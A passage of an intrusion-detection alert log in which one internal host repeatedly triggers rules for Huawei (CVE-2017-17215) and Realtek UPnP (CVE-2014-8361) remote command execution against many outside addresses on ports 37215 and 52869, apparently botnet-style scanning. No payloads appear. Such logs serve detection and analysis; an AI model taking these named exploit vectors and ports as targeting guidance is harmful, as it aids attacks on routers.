Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.102.87.189

Timestamp:	07/20/24-23:01:32.244559
SID:	2829579
Source Port:	33134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.143.52.237

Timestamp:	07/20/24-23:00:59.021072
SID:	2835222
Source Port:	47944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 8.104.228.104

Timestamp:	07/20/24-23:01:04.752813
SID:	2027339
Source Port:	42938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 187.248.171.89

Timestamp:	07/20/24-23:01:14.530241
SID:	2831300
Source Port:	57274
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.66.136.120

Timestamp:	07/20/24-23:01:25.390310
SID:	2835222
Source Port:	35648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.253.241.179

Timestamp:	07/20/24-23:01:08.392180
SID:	2835222
Source Port:	50344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.213.226.116

Timestamp:	07/20/24-23:01:22.736802
SID:	2829579
Source Port:	49664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 112.104.240.153

Timestamp:	07/20/24-23:01:03.668723
SID:	2025132
Source Port:	34450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.251.174.213

Timestamp:	07/20/24-23:01:36.855169
SID:	2829579
Source Port:	37054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.84.146.44

Timestamp:	07/20/24-23:01:32.206772
SID:	2835222
Source Port:	54228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 163.251.53.210

Timestamp:	07/20/24-23:01:27.354949
SID:	2027339
Source Port:	37680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 197.89.201.126

Timestamp:	07/20/24-23:01:27.357903
SID:	2027339
Source Port:	52044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.5.144.24

Timestamp:	07/20/24-23:01:32.276800
SID:	2835222
Source Port:	59244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.238.220.249

Timestamp:	07/20/24-23:01:05.820100
SID:	2027339
Source Port:	38148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.45.88.204

Timestamp:	07/20/24-23:00:59.021741
SID:	2829579
Source Port:	48244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.223.153.77

Timestamp:	07/20/24-23:01:22.741097
SID:	2835222
Source Port:	41210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 191.251.66.209

Timestamp:	07/20/24-23:01:05.009396
SID:	2025132
Source Port:	55160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.162.101

Timestamp:	07/20/24-23:01:25.391404
SID:	2835222
Source Port:	48894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 159.127.6.20

Timestamp:	07/20/24-23:01:14.533279
SID:	2831300
Source Port:	38334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.1.219.57

Timestamp:	07/20/24-23:01:22.791883
SID:	2829579
Source Port:	54546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.21.69.168

Timestamp:	07/20/24-23:01:08.381624
SID:	2835222
Source Port:	46060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 68.226.28.124

Timestamp:	07/20/24-23:01:08.392180
SID:	2829579
Source Port:	46750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 143.19.210.21

Timestamp:	07/20/24-23:01:04.787967
SID:	2027339
Source Port:	33794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.95.163.59

Timestamp:	07/20/24-23:01:02.624280
SID:	2829579
Source Port:	55636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.17.29.203

Timestamp:	07/20/24-23:01:27.232388
SID:	2835222
Source Port:	50760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.146.151.172

Timestamp:	07/20/24-23:01:32.263122
SID:	2835222
Source Port:	54490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.252.178.104

Timestamp:	07/20/24-23:01:32.282562
SID:	2829579
Source Port:	50912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.223.234.248

Timestamp:	07/20/24-23:01:32.199190
SID:	2835222
Source Port:	58620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 84.59.78.82

Timestamp:	07/20/24-23:01:06.798920
SID:	2835222
Source Port:	54762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.84.87.201

Timestamp:	07/20/24-23:01:06.801544
SID:	2829579
Source Port:	34182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.219.233.88

Timestamp:	07/20/24-23:00:59.023399
SID:	2829579
Source Port:	45584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 183.244.92.210

Timestamp:	07/20/24-23:01:07.201035
SID:	2027339
Source Port:	41406
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.121.157.209

Timestamp:	07/20/24-23:01:08.368788
SID:	2829579
Source Port:	50400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.53.40.125

Timestamp:	07/20/24-23:01:36.855169
SID:	2829579
Source Port:	51688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 87.22.11.17

Timestamp:	07/20/24-23:01:14.522654
SID:	2027339
Source Port:	43634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.235.172.174

Timestamp:	07/20/24-23:01:02.613456
SID:	2829579
Source Port:	57420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.123.109

Timestamp:	07/20/24-23:01:12.553660
SID:	2835222
Source Port:	51592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.119.176.170

Timestamp:	07/20/24-23:01:04.907418
SID:	2835222
Source Port:	48638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.201.104.199

Timestamp:	07/20/24-23:01:14.517250
SID:	2027339
Source Port:	40572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 27.117.118.67

Timestamp:	07/20/24-23:01:14.512354
SID:	2027339
Source Port:	37882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.82.200.164

Timestamp:	07/20/24-23:01:22.739029
SID:	2835222
Source Port:	47986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.194.56.97

Timestamp:	07/20/24-23:01:02.613618
SID:	2835222
Source Port:	35908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.25.221.62

Timestamp:	07/20/24-23:01:08.447448
SID:	2835222
Source Port:	50908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.27.107.182

Timestamp:	07/20/24-23:01:22.736600
SID:	2829579
Source Port:	59158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.217.111.180

Timestamp:	07/20/24-23:01:25.390486
SID:	2829579
Source Port:	49506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.47.155.214

Timestamp:	07/20/24-23:01:12.356569
SID:	2829579
Source Port:	46248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 197.160.210.166

Timestamp:	07/20/24-23:01:05.592633
SID:	2027339
Source Port:	41912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.2.99.209

Timestamp:	07/20/24-23:01:06.812906
SID:	2829579
Source Port:	37386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.228.41.92

Timestamp:	07/20/24-23:01:06.827198
SID:	2829579
Source Port:	32768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 62.204.49.132

Timestamp:	07/20/24-23:01:14.501572
SID:	2831300
Source Port:	33916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 204.52.130.30

Timestamp:	07/20/24-23:01:14.521865
SID:	2027339
Source Port:	44396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.25.94.239

Timestamp:	07/20/24-23:01:12.485954
SID:	2829579
Source Port:	39680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.8.255.47

Timestamp:	07/20/24-23:01:14.543026
SID:	2027339
Source Port:	33018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 205.156.139.74

Timestamp:	07/20/24-23:01:36.850220
SID:	2835222
Source Port:	43492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 72.60.254.31

Timestamp:	07/20/24-23:01:14.526400
SID:	2831300
Source Port:	36894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.198.224.198

Timestamp:	07/20/24-23:01:25.413015
SID:	2835222
Source Port:	55630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.237.159.15

Timestamp:	07/20/24-23:01:06.802009
SID:	2835222
Source Port:	41530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.191.38.245

Timestamp:	07/20/24-23:01:25.693881
SID:	2835222
Source Port:	52430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 93.108.13.246

Timestamp:	07/20/24-23:01:04.846946
SID:	2835222
Source Port:	59188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 114.155.105.80

Timestamp:	07/20/24-23:01:27.354360
SID:	2027339
Source Port:	58182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 195.23.46.104

Timestamp:	07/20/24-23:01:22.743882
SID:	2829579
Source Port:	48032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 193.187.192.75

Timestamp:	07/20/24-23:01:14.550730
SID:	2831300
Source Port:	36120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.106.231.112

Timestamp:	07/20/24-23:00:59.022606
SID:	2829579
Source Port:	35422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 104.206.254.210

Timestamp:	07/20/24-23:01:25.397771
SID:	2835222
Source Port:	55916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.146.203.166

Timestamp:	07/20/24-23:01:06.806393
SID:	2835222
Source Port:	56328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 176.69.59.228

Timestamp:	07/20/24-23:01:06.227033
SID:	2027339
Source Port:	32804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.103.95.95

Timestamp:	07/20/24-23:01:04.177136
SID:	2027339
Source Port:	49766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 86.176.163.132

Timestamp:	07/20/24-23:01:19.989516
SID:	2027339
Source Port:	57918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.18.146.223

Timestamp:	07/20/24-23:01:32.250505
SID:	2829579
Source Port:	54084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 82.246.219.130

Timestamp:	07/20/24-23:01:03.818275
SID:	2027339
Source Port:	48204
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 212.212.121.173

Timestamp:	07/20/24-23:01:06.798414
SID:	2835222
Source Port:	38862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 183.89.166.139

Timestamp:	07/20/24-23:01:05.464253
SID:	2027339
Source Port:	37796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 206.239.43.25

Timestamp:	07/20/24-23:01:14.552891
SID:	2831300
Source Port:	55230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 198.40.74.18

Timestamp:	07/20/24-23:01:02.624280
SID:	2829579
Source Port:	54392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 160.89.205.146

Timestamp:	07/20/24-23:01:04.429780
SID:	2025132
Source Port:	44850
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 144.242.214.134

Timestamp:	07/20/24-23:01:05.140118
SID:	2025132
Source Port:	57426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.189.227.135

Timestamp:	07/20/24-23:01:36.781604
SID:	2835222
Source Port:	48460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.147.181.109

Timestamp:	07/20/24-23:01:15.000888
SID:	2829579
Source Port:	51472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 65.224.243.64

Timestamp:	07/20/24-23:01:05.533138
SID:	2027339
Source Port:	34692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 121.90.143.153

Timestamp:	07/20/24-23:01:08.455371
SID:	2829579
Source Port:	38202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.175.25.88

Timestamp:	07/20/24-23:01:08.464559
SID:	2829579
Source Port:	39248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.11.131.92

Timestamp:	07/20/24-23:01:22.737918
SID:	2829579
Source Port:	36226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 210.242.150.143

Timestamp:	07/20/24-23:01:14.522190
SID:	2027339
Source Port:	47062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 87.96.38.237

Timestamp:	07/20/24-23:01:04.879348
SID:	2829579
Source Port:	49334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 40.45.115.153

Timestamp:	07/20/24-23:01:02.601458
SID:	2835222
Source Port:	58204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 168.214.55.135

Timestamp:	07/20/24-23:01:03.816822
SID:	2025132
Source Port:	53024
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 191.251.66.209

Timestamp:	07/20/24-23:01:14.522654
SID:	2027339
Source Port:	57278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.156.35.88

Timestamp:	07/20/24-23:02:11.193011
SID:	2027339
Source Port:	33250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 46.178.0.255

Timestamp:	07/20/24-23:01:20.429707
SID:	2025132
Source Port:	35696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 170.155.211.72

Timestamp:	07/20/24-23:01:36.855169
SID:	2835222
Source Port:	35644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.209.49.4

Timestamp:	07/20/24-23:01:22.795411
SID:	2835222
Source Port:	36748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.255.9.44

Timestamp:	07/20/24-23:01:06.799605
SID:	2835222
Source Port:	54526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 51.113.47.127

Timestamp:	07/20/24-23:01:06.804997
SID:	2835222
Source Port:	52250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.194.214.218

Timestamp:	07/20/24-23:01:04.892226
SID:	2835222
Source Port:	51268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 204.210.9.128

Timestamp:	07/20/24-23:01:06.895307
SID:	2025132
Source Port:	48040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 4.26.18.222

Timestamp:	07/20/24-23:01:14.505885
SID:	2831300
Source Port:	42198
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 81.71.223.221

Timestamp:	07/20/24-23:01:04.744150
SID:	2025132
Source Port:	51860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 154.241.18.163

Timestamp:	07/20/24-23:01:07.443456
SID:	2027339
Source Port:	55978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 65.79.209.34

Timestamp:	07/20/24-23:00:59.020988
SID:	2835222
Source Port:	49736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.89.78

Timestamp:	07/20/24-23:01:36.812730
SID:	2835222
Source Port:	36022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.112.159.46

Timestamp:	07/20/24-23:01:02.613456
SID:	2835222
Source Port:	35018
Destination Port:	37215
Protocol:	TCP
